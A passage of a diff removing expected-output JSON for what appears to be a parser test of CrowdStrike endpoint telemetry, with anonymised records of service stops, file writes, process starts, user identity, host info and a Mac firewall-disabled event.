-                "Entitlements": "15",
-                "TargetThreadId": "24238019995551",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9b11-0602a5689467",
-                "name": "HostedServiceStoppedV1"
-            },
-            "device": {
-                "id": "ffffffff2b5a4bf5afc6682595faa016"
-            },
-            "event": {
-                "action": "HostedServiceStopped",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:08:22.512Z",
-                "id": "ffffffff-1111-11eb-9b11-0602a5689467|ffffffff2b5a4bf5afc6682595faa016|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextTimeStamp\":\"1604855299.018\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ServiceDisplayName\":\"wuauserv\",\"TargetProcessId\":\"661455186053\",\"TargetThreadId\":\"24238019995551\",\"aid\":\"ffffffff2b5a4bf5afc6682595faa016\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostedServiceStopped\",\"id\":\"ffffffff-1111-11eb-9b11-0602a5689467\",\"name\":\"HostedServiceStoppedV1\",\"timestamp\":\"1604855302512\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "ffffffff2b5a4bf5afc6682595faa016",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "HostedServiceStopped",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff2b5a4bf5afc6682595faa016",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "661455186053",
-                "title": "wuauserv"
-            },
-            "related": {
-                "hash": [
-                    "3338885535"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:07:44.313Z",
-            "crowdstrike": {
-                "AuthenticationId": "3443175",
-                "ConfigStateHash": "3338885535",
-                "ContextProcessId": "1091372257857",
-                "ContextTimeStamp": "2020-11-08T17:07:07.625Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileEcpBitmask": "0",
-                "FileObject": "18446603341701082336",
-                "IrpFlags": "1028",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "18",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-baea-02dccfbb7779",
-                "name": "PdfFileWrittenV11"
-            },
-            "device": {
-                "id": "ffffffff32cb4abc50bc133b31a69946"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:07:44.313Z",
-                "id": "ffffffff-1111-11eb-baea-02dccfbb7779|ffffffff32cb4abc50bc133b31a69946|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"3443175\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"1091372257857\",\"ContextThreadId\":\"36855848099771\",\"ContextTimeStamp\":\"1604855227.625\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_1179\\u0026DEV_0113\\u0026SUBSYS_00011179\\u0026REV_01\\\\4\\u00263ad42678\\u00260\\u002600E0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100\",\"FileObject\":\"18446603341701082336\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"288041\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\user12\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\\\TempState\\\\Downloads\\\\ex.pdf.8e41hf8.partial\",\"TokenType\":\"1\",\"aid\":\"ffffffff32cb4abc50bc133b31a69946\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"PdfFileWritten\",\"id\":\"ffffffff-1111-11eb-baea-02dccfbb7779\",\"name\":\"PdfFileWrittenV11\",\"timestamp\":\"1604855264313\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "PCI\\VEN_1179&DEV_0113&SUBSYS_00011179&REV_01\\4&3ad42678&0&00E0",
-                "directory": "\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads",
-                "extension": "partial",
-                "inode": "f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100",
-                "name": "ex.pdf.8e41hf8.partial",
-                "path": "\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial",
-                "size": 288041,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff32cb4abc50bc133b31a69946",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "PdfFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff32cb4abc50bc133b31a69946",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1091372257857",
-                "thread": {
-                    "id": 36855848099771
-                }
-            },
-            "related": {
-                "hash": [
-                    "3338885535"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:22.022Z",
-            "crowdstrike": {
-                "AuthenticationId": "3783389",
-                "ConfigStateHash": "3998263252",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "ImageSubsystem": "2",
-                "IntegrityLevel": "4096",
-                "MD5HashData": "50d5fd1290d94d46acca0585311e74d5",
-                "ParentAuthenticationId": "3783389",
-                "ProcessCreateFlags": "525332",
-                "ProcessParameterFlags": "16385",
-                "ProcessSxsFlags": "1600",
-                "RpcClientProcessId": "2439558094566",
-                "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
-                "SessionId": "1",
-                "SourceProcessId": "2439558094566",
-                "SourceThreadId": "77538684027214",
-                "Tags": [
-                    "41",
-                    "12094627905582",
-                    "12094627906234"
-                ],
-                "TokenType": "2",
-                "WindowFlags": "128",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-8462-02ade3b2f949",
-                "name": "ProcessRollup2V18"
-            },
-            "device": {
-                "id": "ffffffff655344736aca58d17fb570f0"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:06:22.022Z",
-                "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1604855182022\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffff655344736aca58d17fb570f0",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff655344736aca58d17fb570f0",
-                "version": "1007.3.0012309.1"
-            },
-            "process": {
-                "Ext": {
-                    "token": {
-                        "integrity_level_name": "LOW"
-                    }
-                },
-                "args": [
-                    "C:\\WINDOWS\\system32\\backgroundTaskHost.exe",
-                    "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca"
-                ],
-                "args_count": 2,
-                "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca",
-                "entity_id": "2450046082233",
-                "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe",
-                "hash": {
-                    "md5": "50d5fd1290d94d46acca0585311e74d5",
-                    "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37"
-                },
-                "name": "backgroundTaskHost.exe",
-                "parent": {
-                    "entity_id": "2439558094566",
-                    "name": "svchost.exe"
-                },
-                "pid": 22272,
-                "start": "2020-11-08T17:06:21.648Z"
-            },
-            "related": {
-                "hash": [
-                    "50d5fd1290d94d46acca0585311e74d5",
-                    "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
-                    "3998263252"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "S-1-12-1-3697283754-1083485977-2164330645-2516515886"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:09:15.388Z",
-            "crowdstrike": {
-                "AuthenticationId": "326190744",
-                "AuthenticationUuid": "98467113-C771-4845-B71B-89B3CE9F93C9",
-                "AuthenticationUuidAsString": "13714698-71C7-4548-B71B-89B3CE9F93C9",
-                "ConfigStateHash": "1457965279",
-                "Entitlements": "15",
-                "UserSid": "S-1-5-21-3629339319-2376021926-2724479216-652382488",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b",
-                "name": "UserIdentityMacV2"
-            },
-            "device": {
-                "id": "ffffffff1f32487185fcde66a9dc0528"
-            },
-            "event": {
-                "action": "UserIdentity",
-                "category": [
-                    "authentication",
-                    "iam"
-                ],
-                "created": "2020-11-08T17:09:15.388Z",
-                "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b|ffffffff1f32487185fcde66a9dc0528|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"326190744\",\"AuthenticationUuid\":\"98467113-C771-4845-B71B-89B3CE9F93C9\",\"AuthenticationUuidAsString\":\"13714698-71C7-4548-B71B-89B3CE9F93C9\",\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1457965279\",\"Entitlements\":\"15\",\"UID\":\"326190744\",\"UserPrincipal\":\"user8@dom6\",\"UserSid\":\"S-1-5-21-3629339319-2376021926-2724479216-652382488\",\"aid\":\"ffffffff1f32487185fcde66a9dc0528\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"UserIdentity\",\"id\":\"ffffffff-1111-11eb-b9b4-063e98f9b19b\",\"name\":\"UserIdentityMacV2\",\"timestamp\":\"1604855355388\"}",
-                "outcome": "success",
-                "type": [
-                    "info",
-                    "user"
-                ]
-            },
-            "host": {
-                "id": "ffffffff1f32487185fcde66a9dc0528",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "UserIdentity",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff1f32487185fcde66a9dc0528",
-                "version": "1007.4.0011104.1"
-            },
-            "related": {
-                "hash": [
-                    "1457965279"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "user8",
-                    "user8@dom6",
-                    "326190744"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "dom6",
-                "email": "user8@dom6",
-                "full_name": "user8",
-                "id": "326190744"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:57.555Z",
-            "crowdstrike": {
-                "BootArgs": [
-                    "NOEXECUTE=OPTIN",
-                    "HYPERVISORLAUNCHTYPE=AUTO",
-                    "FVEBOOT=2125824",
-                    "NOVGA"
-                ],
-                "ConfigStateHash": "1874387338",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9bbd-061290dcd983",
-                "name": "HostInfoV2"
-            },
-            "device": {
-                "id": "ffffffffcdb543135e7fcdf8e5a8fbdb"
-            },
-            "event": {
-                "action": "HostInfo",
-                "category": [
-                    "host"
-                ],
-                "created": "2020-11-08T17:05:57.555Z",
-                "id": "ffffffff-1111-11eb-9bbd-061290dcd983|ffffffffcdb543135e7fcdf8e5a8fbdb|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"BootArgs\":\" NOEXECUTE=OPTIN  HYPERVISORLAUNCHTYPE=AUTO  FVEBOOT=2125824  NOVGA\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1874387338\",\"EffectiveTransmissionClass\":\"0\",\"Entitlements\":\"15\",\"MachineDomain\":\"\",\"aid\":\"ffffffffcdb543135e7fcdf8e5a8fbdb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostInfo\",\"id\":\"ffffffff-1111-11eb-9bbd-061290dcd983\",\"name\":\"HostInfoV2\",\"timestamp\":\"1604855157555\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffffcdb543135e7fcdf8e5a8fbdb",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "HostInfo",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffcdb543135e7fcdf8e5a8fbdb",
-                "version": "1007.3.0011603.1"
-            },
-            "related": {
-                "hash": [
-                    "1874387338"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T15:57:11.298Z",
-            "crowdstrike": {
-                "AuthenticationId": "703298",
-                "ConfigStateHash": "2642284486",
-                "ContextProcessId": "1161025471861",
-                "ContextTimeStamp": "2020-11-08T15:57:10.593Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileEcpBitmask": "0",
-                "FileObject": "18446664963104449168",
-                "IrpFlags": "1028",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "1",
-                "MajorFunction": "18",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-800a-06cecfd73923",
-                "name": "GenericFileWrittenV11"
-            },
-            "device": {
-                "id": "ffffffff16bf4c7bb5ad755a4722025c"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T15:57:11.298Z",
-                "id": "ffffffff-1111-11eb-800a-06cecfd73923|ffffffff16bf4c7bb5ad755a4722025c|ffffffff30a3407dae27d0503611022d",
-                "original": "{\"AuthenticationId\":\"703298\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2642284486\",\"ContextProcessId\":\"1161025471861\",\"ContextThreadId\":\"34929528116709\",\"ContextTimeStamp\":\"1604851030.593\",\"DiskParentDeviceInstanceId\":\"USB\\\\VID_1058\\u0026PID_2621\\\\57583431453939315A4C5255\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"262fbc677256cf4c8d6c6a227285a072c06830873b000000\",\"FileObject\":\"18446664963104449168\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"1\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"517029\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume5\\\\01.png.tmp$$\",\"TokenType\":\"1\",\"UserName\":\"user9\",\"aid\":\"ffffffff16bf4c7bb5ad755a4722025c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"GenericFileWritten\",\"id\":\"ffffffff-1111-11eb-800a-06cecfd73923\",\"name\":\"GenericFileWrittenV11\",\"timestamp\":\"1604851031298\"}"
-            },
-            "file": {
-                "device": "USB\\VID_1058&PID_2621\\57583431453939315A4C5255",
-                "directory": "\\Device\\HarddiskVolume5",
-                "extension": "tmp$$",
-                "inode": "262fbc677256cf4c8d6c6a227285a072c06830873b000000",
-                "name": "01.png.tmp$$",
-                "path": "\\Device\\HarddiskVolume5\\01.png.tmp$$",
-                "size": 517029,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff16bf4c7bb5ad755a4722025c",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "GenericFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff16bf4c7bb5ad755a4722025c",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1161025471861",
-                "thread": {
-                    "id": 34929528116709
-                }
-            },
-            "related": {
-                "hash": [
-                    "2642284486"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "user9"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "user9"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T15:54:59.812Z",
-            "crowdstrike": {
-                "ConfigStateHash": "666346415",
-                "ContextProcessId": "1717987648455",
-                "ContextTimeStamp": "2020-11-08T15:54:59.164Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "VolumeName": "\\Device\\HarddiskVolume27",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9",
-                "name": "FsVolumeUnmountedV2"
-            },
-            "device": {
-                "id": "ffffffff896b43725b83c79aa79959da"
-            },
-            "event": {
-                "action": "FsVolumeUnmounted",
-                "category": [
-                    "host"
-                ],
-                "created": "2020-11-08T15:54:59.812Z",
-                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":\"1604850899.164\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff896b43725b83c79aa79959da",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FsVolumeUnmounted",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff896b43725b83c79aa79959da",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1717987648455",
-                "thread": {
-                    "id": 55064470042288
-                }
-            },
-            "related": {
-                "hash": [
-                    "666346415"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T15:57:20.625Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3429017943",
-                "ContextProcessId": "66426035996442255",
-                "ContextTimeStamp": "2020-11-08T15:58:18.548Z",
-                "Entitlements": "15",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9d4c-02f402df8c1f",
-                "name": "FirewallDisabledMacV1"
-            },
-            "device": {
-                "id": "ffffffff899541b94b9adff8922aa70a"
-            },
-            "event": {
-                "action": "FirewallDisabled",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2020-11-08T15:57:20.625Z",
-                "id": "ffffffff-1111-11eb-9d4c-02f402df8c1f|ffffffff899541b94b9adff8922aa70a|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.4.0009906.1\",\"ConfigStateHash\":\"3429017943\",\"ContextProcessId\":\"66426035996442255\",\"ContextTimeStamp\":\"1604851098.548\",\"Entitlements\":\"15\",\"aid\":\"ffffffff899541b94b9adff8922aa70a\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"FirewallDisabled\",\"id\":\"ffffffff-1111-11eb-9d4c-02f402df8c1f\",\"name\":\"FirewallDisabledMacV1\",\"timestamp\":\"1604851040625\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff899541b94b9adff8922aa70a",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "FirewallDisabled",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff899541b94b9adff8922aa70a",
-                "version": "1007.4.0009906.1"
-            },
-            "process": {
-                "entity_id": "66426035996442255"
-            },
-            "related": {
-                "hash": [
-                    "3429017943"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-11-09T09:00:27.353Z",
-            "crowdstrike": {
-                "AgentLoadFlags": "0",
-                "AgentLocalTime": "2021-11-09T05:47:19.952Z",
-                "AgentTimeOffset": 125.319,
-                "BiosManufacturer": "Apple Inc.",
-                "BiosVersion": "1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)",
-                "ChassisType": "Laptop",
-                "ConfigBuild": "1007.4.0014404.1",
-                "ConfigIDBuild": "14404",
-                "FirstSeen": "2021-07-07T18:26:31.000Z",
-                "HostHiddenStatus": "Visible",
-                "ProductType": "1",
-                "SystemManufacturer": "Apple Inc.",
-                "SystemProductName": "MacBookPro16,2",
-                "cid": "ffffffff30a3407dae27d0503611022ff"
-            },
-            "device": {
-                "id": "fffffffffffaaaaaaaaabbbbbbbb"
-            },
-            "event": {
-                "created": "2021-11-09T09:00:27.353Z",
-                "id": "|fffffffffffaaaaaaaaabbbbbbbb|ffffffff30a3407dae27d0503611022ff",
-                "original": "{\"AgentLoadFlags\":\"0\",\"AgentLocalTime\":\"1636436839.9529998\",\"AgentTimeOffset\":\"125.319\",\"AgentVersion\":\"6.31.14404.0\",\"BiosManufacturer\":\"Apple Inc.\",\"BiosVersion\":\"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)\",\"ChassisType\":\"Laptop\",\"City\":\"San Francisco\",\"ComputerName\":\"mac1\",\"ConfigBuild\":\"1007.4.0014404.1\",\"ConfigIDBuild\":\"14404\",\"Continent\":\"North America\",\"Country\":\"United States\",\"FalconGroupingTags\":\"-\",\"FirstSeen\":\"1625682391.0\",\"HostHiddenStatus\":\"Visible\",\"MachineDomain\":\"none\",\"OU\":\"none\",\"PointerSize\":\"none\",\"ProductType\":\"1\",\"SensorGroupingTags\":\"-\",\"ServicePackMajor\":\"none\",\"SiteName\":\"none\",\"SystemManufacturer\":\"Apple Inc.\",\"SystemProductName\":\"MacBookPro16,2\",\"Time\":\"1636448427.3539999\",\"Timezone\":\"America/Los_Angeles\",\"Version\":\"Big Sur (11.0)\",\"aid\":\"fffffffffffaaaaaaaaabbbbbbbb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022ff\",\"event_platform\":\"Mac\"}"
-            },
-            "host": {
-                "geo": {
-                    "city_name": "San Francisco",
-                    "continent_name": "North America",
-                    "country_name": "United States",
-                    "timezone": "America/Los_Angeles"
-                },
-                "hostname": "mac1",
-                "id": "fffffffffffaaaaaaaaabbbbbbbb",
-                "name": "mac1",
-                "os": {
-                    "type": "macos",
-                    "version": "Big Sur (11.0)"
-                }
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "fffffffffffaaaaaaaaabbbbbbbb",
-                "version": "6.31.14404.0"
-            },
-            "related": {
-                "hosts": [
-                    "mac1"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:34.461Z",
-            "crowdstrike": {
-                "AuthenticationId": "317005428",
-                "AuthenticationPackage": "Negotiate",
-                "ConfigStateHash": "3950066843",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "LogoffTime": "2020-11-08T17:05:32.756Z",
-                "LogonServer": "srv2",
-                "LogonTime": "2020-11-08T17:05:31.666Z",
-                "LogonType": "7",
-                "PasswordLastSet": "1598119332.510",
-                "RemoteAccount": "1",
-                "UserFlags": "32",
-                "UserLogoffType": "3",
-                "UserLogonFlags": "0",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-8913-0287fd11c79b",
-                "name": "UserLogoffV3"
-            },
-            "device": {
